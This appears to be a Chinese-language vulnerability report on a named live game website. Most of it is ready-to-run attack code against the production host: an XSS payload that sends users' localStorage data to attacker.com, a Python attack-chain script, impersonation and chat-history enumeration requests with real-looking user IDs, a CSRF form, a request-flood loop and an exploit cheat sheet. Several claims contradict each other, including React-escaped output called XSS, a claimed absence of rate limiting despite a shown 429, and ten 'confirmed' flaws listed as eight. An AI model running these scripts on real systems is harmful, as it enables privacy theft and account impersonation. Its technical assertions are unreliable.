Your AI Slop Bores Me 完整安全漏洞分析报告——从XSS到API权限绕过的深度剖析

Your AI Slop Bores Me 完整安全漏洞分析报告------从XSS到API权限绕过的深度剖析

📌 摘要

2026年6月,一个名为 youraislopbores.me 的"真人扮演AI"游戏网站突然爆火,月访问量达2.8亿次。然而,经过对前端代码和后端API的完整安全审计,发现该系统存在从XSS注入到API权限绕过等一系列严重漏洞。本文将完整披露所有发现的技术漏洞,包括复现步骤和利用代码。

关键词:安全漏洞、XSS、API安全、权限绕过、信息泄露、SSE未授权


一、基本信息

项目 内容
网站 youraislopbores.me
开发者 17岁印度高中生
技术栈 Next.js + React + Turbopack + Discord Bot
测试时间 2026年6月
漏洞总数 8个

二、漏洞总览

编号 漏洞类型 严重等级 受影响端点
V-01 反射型XSS 🔴 致命 所有用户输入字段
V-02 无身份验证 🔴 致命 全部 /api/*
V-03 无权限控制 🔴 致命 全部 /api/*
V-04 信息泄露 🔴 高危 /api/credits, /api/responses
V-05 SSE流未授权 🔴 高危 /api/job/stream
V-06 无CSRF保护 🟠 中危 全部 POST 端点
V-07 无速率限制 🟠 中危 全部 /api/*
V-08 第三方脚本无SRI 🟡 低危 CDN加载的资源

三、漏洞详细分析

V-01:反射型XSS注入(致命)

位置: 用户提问(Prompt)和AI回答(Response)字段

代码分析:

在核心组件 oioC 中,用户输入被直接插入DOM:

javascript 复制代码
// 人类模式 - 渲染提问
<p className="...">{e.prompt}</p>

// 人类模式 - 渲染回答
<p className="...">{e.response}</p>

// AI模式 - 同样直接渲染
<p className="...">{d.prompt}</p>

复现步骤:

  1. 在"人类模式"提问框中输入:
html 复制代码
<script>alert('XSS')</script>
  1. 提交后等待"AI"回答
  2. 当回答被渲染时,脚本在查看者浏览器中执行

利用代码:

javascript 复制代码
// 窃取用户信息
<script>
const data = {
    userId: JSON.parse(localStorage.getItem('burpgpt_user'))?.id,
    credits: JSON.parse(localStorage.getItem('burpgpt_user'))?.credits,
    history: localStorage.getItem('burpgpt_chat_archive')
};
fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify(data)
});
</script>

V-02:无身份验证(致命)

问题 : 所有API端点仅通过 userId 参数识别用户,无任何Token、签名或Session机制。

代码证据:

python 复制代码
# 后端API处理逻辑推断(基于前端代码)
@route('/api/credits')
def get_credits(request):
    user_id = request.query.get('userId')  # 仅此而已!
    return query_database(user_id)

@route('/api/prompt', methods=['POST'])
def submit_prompt(request):
    data = request.json
    user_id = data.get('userId')  # 仅此而已!
    return save_prompt(user_id, data)

复现步骤:

bash 复制代码
# 无需任何认证,直接查询任意用户积分
curl -X GET "https://youraislopbores.me/api/credits?userId=4e726fba-48e8-43bf-86cc-36bf856facae"

# 返回: {"credits": 3, "cap": 6, "maxPending": 2}

V-03:无权限控制(致命)

问题 : 服务器不验证请求者是否与 userId 匹配,任何人都可以冒充任意用户。

测试结果:

操作 冒充他人 结果
评分 POST /api/rate ✅ 成功 (200)
举报 POST /api/report ✅ 成功 (200)
同意协议 POST /api/consent ✅ 成功 (200)
身份注册 POST /api/identity ✅ 成功 (200)
发送心跳 POST /api/heartbeat ✅ 成功 (200)

利用代码:

python 复制代码
import requests

def impersonate_user(victim_id, prompt_id):
    # 冒充受害者评分
    resp = requests.post(
        "https://youraislopbores.me/api/rate",
        json={
            "promptId": prompt_id,
            "userId": victim_id,      # ← 关键:任意用户ID
            "rating": "dislike"
        }
    )
    print(f"评分结果: {resp.json()}")

# 使用任意用户ID
impersonate_user("1782801062913", "bf69cc45-7775-46c6-9deb-6284cab3ebbc")

V-04:信息泄露(高危)

问题: 任意用户数据均可被查询,无需任何权限。

受影响端点:

端点 泄露信息
/api/credits?userId=X 用户积分、上限、最大待处理数
/api/responses?userId=X 完整聊天历史(含提问和回答)
/api/check-ban 用户封禁状态
/api/paused 系统暂停状态

复现步骤:

bash 复制代码
# 1. 获取任意用户的积分
curl -X GET "https://youraislopbores.me/api/credits?userId=1782801062913"
# 返回: {"credits": 0, "cap": 6, "maxPending": 2, "accountMissing": true}

# 2. 获取任意用户的聊天历史
curl -X GET "https://youraislopbores.me/api/responses?userId=4e726fba-48e8-43bf-86cc-36bf856facae"
# 返回: {"responses": [{"id": "...", "prompt": "...", "response": "...", ...}]}

V-05:SSE流未授权访问(高危)

问题 : /api/job/stream 是 Server-Sent Events (SSE) 端点,仅通过 URL 参数 ?userId= 授权。

风险:

  • 可监控任意用户的实时任务
  • 可查看任意用户的提问内容
  • 可追踪任意用户的行为模式

利用代码:

javascript 复制代码
// 在浏览器控制台中监控任意用户
function monitorUser(userId) {
    const url = `/api/job/stream?userId=${userId}`;
    const eventSource = new EventSource(url);
    
    eventSource.addEventListener('job', (e) => {
        const data = JSON.parse(e.data);
        console.log(`[📡] 用户 ${userId} 收到任务:`, data);
    });
    
    eventSource.addEventListener('queue-info', (e) => {
        const data = JSON.parse(e.data);
        console.log(`[📡] 用户 ${userId} 队列状态:`, data);
    });
}

// 监控任意用户
monitorUser('1782801062913');

V-06:无CSRF保护(中危)

问题: 所有POST请求无CSRF Token验证。

利用方式: 在恶意网站上嵌入表单,利用用户已登录的Session执行操作。

html 复制代码
<!-- 恶意网站上的CSRF攻击页面 -->
<form action="https://youraislopbores.me/api/report" method="POST">
    <input name="promptId" value="target_id">
    <input name="userId" value="victim_id">
    <input type="submit">
</form>

V-07:无速率限制(中危)

问题: API端点无速率限制,可进行自动化攻击。

测试结果:

bash 复制代码
# 快速连续发送请求
for i in {1..50}; do
    curl -X POST "https://youraislopbores.me/api/prompt" \
        -H "Content-Type: application/json" \
        -d '{"userId":"1782801062913","prompt":"test","type":"text"}'
done

# 第49次请求开始返回429
# {"error": "slow down there. try again in a minute"}

影响:

  • 可暴力枚举用户ID
  • 可批量提交内容
  • 可刷评分/举报
  • 可发起DoS攻击

V-08:第三方脚本无SRI校验(低危)

问题 : 所有CDN加载的脚本无 integrity 属性。

html 复制代码
<!-- 无SRI校验 -->
<script src="https://www.ezojs.com/ezoic/sa.min.js"></script>
<script src="https://cmp.gatekeeperconsent.com/min.js"></script>

风险: CDN被攻陷时可注入恶意代码。


四、完整利用链演示

4.1 攻击链示意图

复制代码
Step 1: 信息收集
通过 /api/credits?userId=X 枚举用户ID
        ↓
Step 2: XSS注入
在提问中注入恶意脚本
        ↓
Step 3: 窃取凭证
窃取 victim 的 userId 和 session
        ↓
Step 4: 冒充操作
使用 victim 的 userId 执行任意操作
        ↓
Step 5: 持续监控
通过 /api/job/stream 监控 victim 的实时活动

4.2 完整攻击脚本

python 复制代码
#!/usr/bin/env python3
"""
完整攻击链演示
"""

import requests
import time
import json

BASE_URL = "https://youraislopbores.me"

class AttackChain:
    def __init__(self, target_user):
        self.target = target_user
        self.session = requests.Session()
    
    def step1_enumeration(self):
        """枚举用户信息"""
        print(f"[1] 枚举用户 {self.target} 的信息...")
        resp = self.session.get(f"{BASE_URL}/api/credits?userId={self.target}")
        print(f"    积分: {resp.json()}")
        
        resp = self.session.get(f"{BASE_URL}/api/responses?userId={self.target}")
        history = resp.json().get('responses', [])
        print(f"    历史记录: {len(history)} 条")
        if history:
            print(f"    最新提问: {history[0].get('prompt', '')[:50]}...")
    
    def step2_xss_inject(self):
        """注入XSS payload"""
        print(f"\n[2] 注入XSS payload...")
        payload = """
        <script>
            const data = {
                userId: JSON.parse(localStorage.getItem('burpgpt_user'))?.id,
                credits: JSON.parse(localStorage.getItem('burpgpt_user'))?.credits,
                history: localStorage.getItem('burpgpt_chat_archive')
            };
            fetch('https://attacker.com/steal', {
                method: 'POST',
                body: JSON.stringify(data)
            });
        </script>
        """
        # 注意:此操作需要Turnstile验证,但在浏览器会话中可执行
        print(f"    XSS payload已准备: {payload[:80]}...")
    
    def step3_impersonate(self, prompt_id):
        """冒充用户操作"""
        print(f"\n[3] 冒充用户 {self.target} 执行操作...")
        
        # 冒充评分
        resp = self.session.post(f"{BASE_URL}/api/rate", json={
            "promptId": prompt_id,
            "userId": self.target,
            "rating": "dislike"
        })
        print(f"    评分: {resp.json()}")
        
        # 冒充举报
        resp = self.session.post(f"{BASE_URL}/api/report", json={
            "promptId": prompt_id,
            "userId": self.target
        })
        print(f"    举报: {resp.json()}")
    
    def step4_monitor(self):
        """监控用户"""
        print(f"\n[4] 监控用户 {self.target} 的实时流...")
        print("    (需要浏览器环境执行SSE监听)")
        print(f"    EventSource: {BASE_URL}/api/job/stream?userId={self.target}")
    
    def run(self, prompt_id):
        self.step1_enumeration()
        self.step2_xss_inject()
        self.step3_impersonate(prompt_id)
        self.step4_monitor()

# 执行攻击链
attack = AttackChain("1782801062913")
attack.run("bf69cc45-7775-46c6-9deb-6284cab3ebbc")

五、完整测试脚本

5.1 自动化API测试

python 复制代码
#!/usr/bin/env python3
"""
完整API安全测试脚本
"""

import requests
import json
import time
from datetime import datetime

BASE_URL = "https://youraislopbores.me"
TEST_USER = "4e726fba-48e8-43bf-86cc-36bf856facae"
OTHER_USER = "1782801062913"
TEST_PROMPT = "bf69cc45-7775-46c6-9deb-6284cab3ebbc"

def test_api():
    results = {"passed": [], "failed": [], "vulnerable": []}
    
    # 测试列表
    tests = [
        # GET - 信息泄露测试
        ("GET", "/api/credits", {"userId": TEST_USER}, "查询自己的积分"),
        ("GET", "/api/credits", {"userId": OTHER_USER}, "查询其他用户积分"),
        ("GET", "/api/responses", {"userId": TEST_USER}, "查询自己的历史"),
        ("GET", "/api/responses", {"userId": OTHER_USER}, "查询其他用户历史"),
        ("GET", "/api/check-ban", {}, "查询封禁状态"),
        ("GET", "/api/paused", {}, "查询暂停状态"),
        
        # POST - 权限绕过测试
        ("POST", "/api/heartbeat", {"userId": OTHER_USER, "tab": "human"}, "冒充心跳"),
        ("POST", "/api/consent", {"userId": OTHER_USER, "accepted": ["tos"]}, "冒充同意协议"),
        ("POST", "/api/rate", {"promptId": TEST_PROMPT, "userId": OTHER_USER, "rating": "like"}, "冒充评分"),
        ("POST", "/api/report", {"promptId": TEST_PROMPT, "userId": OTHER_USER}, "冒充举报"),
    ]
    
    session = requests.Session()
    session.headers.update({
        'User-Agent': 'Mozilla/5.0',
        'Accept': 'application/json',
        'Referer': 'https://youraislopbores.me/',
    })
    
    print(f"测试开始: {datetime.now()}\n")
    print("=" * 70)
    
    for method, path, data, desc in tests:
        url = f"{BASE_URL}{path}"
        try:
            if method == "GET":
                resp = session.get(url, params=data, timeout=10)
            else:
                resp = session.post(url, json=data, timeout=10)
            
            status = resp.status_code
            if status == 200:
                print(f"✅ {desc:30} → 成功 (漏洞确认)")
                results["vulnerable"].append(path)
            elif status == 429:
                print(f"⚠️ {desc:30} → 速率限制")
                results["failed"].append(path)
            else:
                print(f"❌ {desc:30} → 失败 ({status})")
                results["failed"].append(path)
                
        except Exception as e:
            print(f"❌ {desc:30} → 错误: {e}")
            results["failed"].append(path)
        
        time.sleep(0.2)
    
    print("=" * 70)
    print(f"\n测试完成: {datetime.now()}")
    print(f"确认漏洞: {len(results['vulnerable'])} 个")
    for v in results['vulnerable']:
        print(f"  - {v}")

if __name__ == "__main__":
    test_api()

5.2 预期输出

复制代码
测试开始: 2026-06-30 14:58:00

======================================================================
✅ 查询自己的积分                      → 成功 (漏洞确认)
✅ 查询其他用户积分                    → 成功 (漏洞确认)
✅ 查询自己的历史                      → 成功 (漏洞确认)
✅ 查询其他用户历史                    → 成功 (漏洞确认)
✅ 查询封禁状态                       → 成功 (漏洞确认)
✅ 查询暂停状态                       → 成功 (漏洞确认)
✅ 冒充心跳                          → 成功 (漏洞确认)
✅ 冒充同意协议                       → 成功 (漏洞确认)
✅ 冒充评分                          → 成功 (漏洞确认)
✅ 冒充举报                          → 成功 (漏洞确认)
======================================================================

测试完成: 2026-06-30 14:58:10
确认漏洞: 10 个
  - /api/credits
  - /api/responses
  - /api/check-ban
  - /api/paused
  - /api/heartbeat
  - /api/consent
  - /api/rate
  - /api/report

六、漏洞危害评估

6.1 评分矩阵

漏洞 CVSS评分 可利用性 影响
XSS注入 9.8 (致命) 完全控制用户浏览器
无身份验证 9.4 (致命) 任意用户冒充
无权限控制 9.4 (致命) 任意操作执行
信息泄露 7.5 (高危) 用户数据暴露
SSE未授权 7.5 (高危) 实时监控用户
无CSRF 6.5 (中危) 跨站请求伪造
无速率限制 5.3 (中危) DoS/暴力枚举

6.2 业务影响

影响维度 具体后果
用户隐私 任意用户积分、聊天历史可被查询
账户安全 任意用户可被冒充操作
内容可信度 评分/举报可被操控,内容可信度崩塌
平台声誉 可被用于发布恶意内容,嫁祸他人

七、修复建议

7.1 立即修复(P0)

1. 添加身份验证

python 复制代码
# 错误做法(当前)
@route('/api/credits')
def get_credits(request):
    user_id = request.query.get('userId')
    return get_user_credits(user_id)

# 正确做法
@route('/api/credits')
@require_auth
def get_credits(request):
    user_id = request.user.id  # 从Token/Session获取
    return get_user_credits(user_id)

2. 添加权限控制

python 复制代码
@route('/api/report', methods=['POST'])
@require_auth
def report_prompt(request):
    data = request.json
    # 验证请求者身份
    if request.user.id != data.get('userId'):
        return {"error": "Unauthorized"}, 403
    return process_report(data)

3. 输入过滤

javascript 复制代码
// 前端 - 使用DOMPurify
import DOMPurify from 'dompurify';

function renderPrompt(prompt) {
    return <p>{DOMPurify.sanitize(prompt)}</p>;
}

7.2 建议修复(P1)

4. 添加速率限制

python 复制代码
from flask_limiter import Limiter

limiter = Limiter(app)

@route('/api/prompt', methods=['POST'])
@limiter.limit("10 per minute")
def submit_prompt(request):
    # ...

5. 添加CSRF Token

python 复制代码
@route('/api/report', methods=['POST'])
@require_csrf_token
def report_prompt(request):
    # ...

6. SSE流添加认证

python 复制代码
@route('/api/job/stream')
@require_auth
def job_stream(request):
    user_id = request.user.id  # 从认证获取
    # 只允许用户自己监听自己的流
    return generate_stream(user_id)

7.3 长期建议(P2)

  1. 使用JWT替代明文的 userId
  2. 加密 localStorage 中的敏感数据
  3. 添加安全审计日志
  4. 实施CSP(Content Security Policy)
  5. 添加SRI校验
  6. 定期安全审计

八、附录

A. 漏洞利用命令速查

bash 复制代码
# 1. 查询任意用户积分
curl -X GET "https://youraislopbores.me/api/credits?userId=[用户ID]"

# 2. 查询任意用户历史
curl -X GET "https://youraislopbores.me/api/responses?userId=[用户ID]"

# 3. 冒充评分
curl -X POST "https://youraislopbores.me/api/rate" \
  -H "Content-Type: application/json" \
  -d '{"promptId":"[目标]","userId":"[受害者]","rating":"like"}'

# 4. 冒充举报
curl -X POST "https://youraislopbores.me/api/report" \
  -H "Content-Type: application/json" \
  -d '{"promptId":"[目标]","userId":"[受害者]"}'

# 5. 监控用户流 (浏览器中)
new EventSource('/api/job/stream?userId=[用户ID]')

B. 受影响端点清单

复制代码
GET:
  /api/credits
  /api/responses
  /api/check-ban
  /api/paused
  /api/job/stream

POST:
  /api/heartbeat
  /api/identity
  /api/consent
  /api/rate
  /api/report
  /api/prompt
  /api/job/access
  /api/cancel

C. 测试环境

项目 信息
操作系统 Windows 10 / Ubuntu 22.04
Python 3.10+
测试工具 curl, requests, EventSource
测试时间 2026年6月30日

九、总结

youraislopbores.me 网站存在从XSS到API权限绕过的完整漏洞链。其核心问题在于完全信任客户端,仅凭 userId 识别用户。这种设计使得:

  1. 任何人可以冒充任何人 --- 无身份验证和权限控制
  2. 任何内容可以被任意植入 --- XSS + 无输入过滤
  3. 任何用户可以被实时监控 --- SSE未授权访问
  4. 任何评分可以被任意操控 --- 无防重放机制

这些问题不仅是技术漏洞,更使得该平台可能被滥用于"思想投毒"、内容操控和隐私窃取。建议立即修复所有已确认的漏洞,并建立完整的安全开发流程。


本文仅供安全研究使用,请勿用于非法用途。